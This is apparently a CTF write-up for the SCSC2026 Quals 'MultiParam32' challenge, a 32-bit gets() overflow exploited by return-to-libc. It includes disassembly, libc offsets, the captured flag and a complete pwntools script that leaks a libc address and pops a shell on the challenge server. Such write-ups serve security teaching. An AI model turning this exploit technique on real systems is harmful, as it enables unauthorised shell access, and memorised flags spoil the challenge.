414 words
2 minutes
SCSC2026 Quals - MultiParam32 - Binary Exploitation Writeup

Category: Binary Exploitation

Server: nc 43.128.69.211 13003

Flag: scsc26{uN3Xp3ctEd_mUlT1_p4r4m}

Challenge Description#

32-bit binary exploitation challenge requiring return-to-libc attack.

Binary Analysis#

Terminal window
$ file multiparam
multiparam: ELF 32-bit LSB executable, Intel 80386, dynamically linked
$ checksec --file=multiparam
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

Disassembly Analysis (main function)#

; Stack layout:
; ebp-0x14: buffer (20 bytes from ebp)
; ebp-0x8: var2 (loaded into eax if check passes)
; ebp-0x4: var1 (must equal 0xd34dc4fe)
; ebp: saved ebp
; ebp+0x4: return address
mov DWORD PTR [ebp-0x4], 0x0 ; var1 = 0
lea eax, [ebp-0x14] ; buffer address
push eax
call gets ; VULNERABLE: gets(buffer)
mov eax, DWORD PTR [ebp-0x4]
cmp eax, 0xd34dc4fe ; check if var1 == magic
jne skip
mov eax, DWORD PTR [ebp-0x8] ; load var2 into eax
skip:
push 0x804a008 ; "Try again?"
call puts
leave
ret

Vulnerability#

  • gets() has no bounds checking - classic buffer overflow

  • No win function exists - need ret2libc

  • NX enabled - can’t execute shellcode on stack

Exploitation Strategy#

Stage 1: Leak libc address

  1. Overflow buffer to control return address

  2. Return to puts@plt with puts@GOT as argument

  3. This prints the runtime address of puts in libc

  4. Return to main to continue exploitation

Stage 2: Calculate libc addresses

  1. Use leaked puts address to identify libc version

  2. Calculate system() and /bin/sh addresses

Stage 3: Get shell

  1. Overflow again with system("/bin/sh") ROP chain

Identifying Libc Version#

Leaked addresses:

  • puts@libc ending in 0x140

  • gets@libc ending in 0x660

Using libc.rip database:

libc6_2.39-0ubuntu8.4_i386:
puts: 0x78140
gets: 0x77660
system: 0x50430
str_bin_sh: 0x1c4de8

Final Exploit#

# !/usr/bin/env python3
from pwn import *
context.arch = 'i386'
HOST = '43.128.69.211'
PORT = 13003
# Binary addresses (no PIE)
PUTS_PLT = 0x8049040
PUTS_GOT = 0x804c010
MAIN_ADDR = 0x8049182
MAGIC = 0xd34dc4fe
# libc6_2.39 i386 offsets
PUTS_OFF = 0x78140
SYSTEM_OFF = 0x50430
BINSH_OFF = 0x1c4de8
p = remote(HOST, PORT)
# ============ STAGE 1: Leak libc ============
# Stack: [12 bytes padding][var2][var1=MAGIC][saved_ebp][ret_addr][ret_after][arg]
padding = b'A' * 12
payload1 = padding + p32(0xdeadbeef) + p32(MAGIC) + p32(0x42424242)
payload1 += p32(PUTS_PLT) # ret to puts@plt
payload1 += p32(MAIN_ADDR) # return to main after puts
payload1 += p32(PUTS_GOT) # argument: puts@GOT
p.sendline(payload1)
p.recvuntil(b'Try again?\n')
# Read leaked address
puts_libc = u32(p.recv(4))
log.success(f"Leaked puts@libc: {hex(puts_libc)}")
# ============ STAGE 2: Calculate addresses ============
libc_base = puts_libc - PUTS_OFF
system_addr = libc_base + SYSTEM_OFF
binsh_addr = libc_base + BINSH_OFF
log.info(f"libc base: {hex(libc_base)}")
log.info(f"system: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(binsh_addr)}")
# Clean buffer
sleep(0.2)
try: p.recv(timeout=0.3)
except: pass
# ============ STAGE 3: system("/bin/sh") ============
payload2 = padding + p32(0xdeadbeef) + p32(MAGIC) + p32(0x42424242)
payload2 += p32(system_addr) # ret to system
payload2 += p32(MAIN_ADDR) # return after system
payload2 += p32(binsh_addr) # argument: "/bin/sh"
p.sendline(payload2)
p.interactive()
SCSC2026 Quals - MultiParam32 - Binary Exploitation Writeup
https://fuwari.vercel.app/posts/15/scsc2026-quals-multiparam32-binary-exploitation-writeup/
Author
Light
Published at
2026-02-17
License
CC BY-NC-SA 4.0